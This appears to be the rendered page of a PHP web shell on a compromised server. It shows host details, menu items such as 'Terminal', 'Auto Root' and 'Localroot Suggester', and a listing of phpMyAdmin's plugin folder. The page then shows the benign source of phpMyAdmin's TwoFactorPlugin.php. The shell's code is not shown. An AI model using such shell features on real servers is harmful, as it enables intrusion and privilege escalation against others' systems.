Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 216.73.216.82
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
myadmin /
libraries /
classes /
Plugins /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Export
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Import
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Schema
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
Transformations
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
TwoFactor
[ DIR ]
drwxr-xr-x
2020-10-15 12:07
AuthenticationPlugin.php
9.83
KB
-rw-r--r--
2021-02-05 18:26
ExportPlugin.php
10.88
KB
-rw-r--r--
2021-02-05 18:26
IOTransformationsPlugin.php
2.34
KB
-rw-r--r--
2021-02-05 18:26
ImportPlugin.php
2
KB
-rw-r--r--
2021-02-05 18:26
SchemaPlugin.php
2.26
KB
-rw-r--r--
2021-02-05 18:26
TransformationsInterface.php
884
B
-rw-r--r--
2021-02-05 18:27
TransformationsPlugin.php
1.73
KB
-rw-r--r--
2021-02-05 18:27
TwoFactorPlugin.php
3.65
KB
-rw-r--r--
2021-02-05 18:27
UploadInterface.php
650
B
-rw-r--r--
2021-02-05 18:27
Save
Rename
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Two authentication factor handling * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin\Plugins; use PhpMyAdmin\Config; use PhpMyAdmin\Core; use PhpMyAdmin\Message; use PhpMyAdmin\Template; use PhpMyAdmin\TwoFactor; /** * Two factor authentication plugin class * * This is basic implementation which does no * additional authentication, subclasses are expected * to implement this. * * @package PhpMyAdmin */ class TwoFactorPlugin { /** * @var string */ public static $id = ''; /** * Whether to show submit button in form */ public static $showSubmit = true; /** * @var TwoFactor */ protected $_twofactor; /** * @var boolean */ protected $_provided; /** * @var string */ protected $_message; /** * @var Template */ public $template; /** * Creates object * * @param TwoFactor $twofactor TwoFactor instance */ public function __construct(TwoFactor $twofactor) { $this->_twofactor = $twofactor; $this->_provided = false; $this->_message = ''; $this->template = new Template(); } /** * Returns authentication error message * * @return string */ public function getError() { if ($this->_provided) { if (! empty($this->_message)) { return Message::rawError( sprintf(__('Two-factor authentication failed: %s'), $this->_message) )->getDisplay(); } return Message::rawError( __('Two-factor authentication failed.') )->getDisplay(); } return ''; } /** * Checks authentication, returns true on success * * @return boolean */ public function check() { return true; } /** * Renders user interface to enter two-factor authentication * * @return string HTML code */ public function render() { return ''; } /** * Renders user interface to configure two-factor authentication * * @return string HTML code */ public function setup() { return ''; } /** * Performs backend configuration * * @return boolean */ public function configure() { return true; } /** * Get user visible name * * @return string */ public static function getName() { return __('No Two-Factor Authentication'); } /** * Get user visible description * * @return string */ public static function getDescription() { return __('Login using password only.'); } /** * Return an applicaiton ID * * Either hostname or hostname with scheme. * * @param boolean $return_url Whether to generate URL * * @return string */ public function getAppId($return_url) { /** @var Config $PMA_Config */ global $PMA_Config; $url = $PMA_Config->get('PmaAbsoluteUri'); $parsed = []; if (! empty($url)) { $parsed = parse_url($url); } if (empty($parsed['scheme'])) { $parsed['scheme'] = $PMA_Config->isHttps() ? 'https' : 'http'; } if (empty($parsed['host'])) { $parsed['host'] = Core::getenv('HTTP_HOST'); } if ($return_url) { return $parsed['scheme'] . '://' . $parsed['host'] . (! empty($parsed['port']) ? ':' . $parsed['port'] : ''); } else { return $parsed['host']; } } }